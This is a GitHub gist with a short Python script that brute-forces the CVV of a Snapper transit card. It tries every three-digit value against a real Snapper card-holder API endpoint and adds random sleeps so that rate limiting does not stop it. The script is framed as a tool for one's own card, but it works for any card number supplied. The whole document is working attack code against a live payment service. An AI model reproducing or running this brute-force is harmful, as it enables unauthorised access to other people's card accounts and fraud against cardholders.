Skip to content

Instantly share code, notes, and snippets.

@finngreig
Created May 18, 2022 15:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save finngreig/c3d0494ef4c74b7a78e2289f5c94c3d9 to your computer and use it in GitHub Desktop.
Save finngreig/c3d0494ef4c74b7a78e2289f5c94c3d9 to your computer and use it in GitHub Desktop.
Python script that finds the CVV of a Snapper card
import random
import time
import requests
# may not work for native cards
def brute_force_cvv(card_number):
for i in range(0, 1000):
num = str(i).zfill(3)
body = {"cvv": num}
time.sleep(random.randint(5, 10)) # rate limiting to avoid being cut off
r = requests.post(f"https://card-holder.snapper.co.nz/v1/cards/{card_number}/transactions", json=body)
print(f"CVV {num} returned status code {r.status_code}")
if r.status_code == 200:
return num
if __name__ == '__main__':
brute_force_cvv('your_card_number_here')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment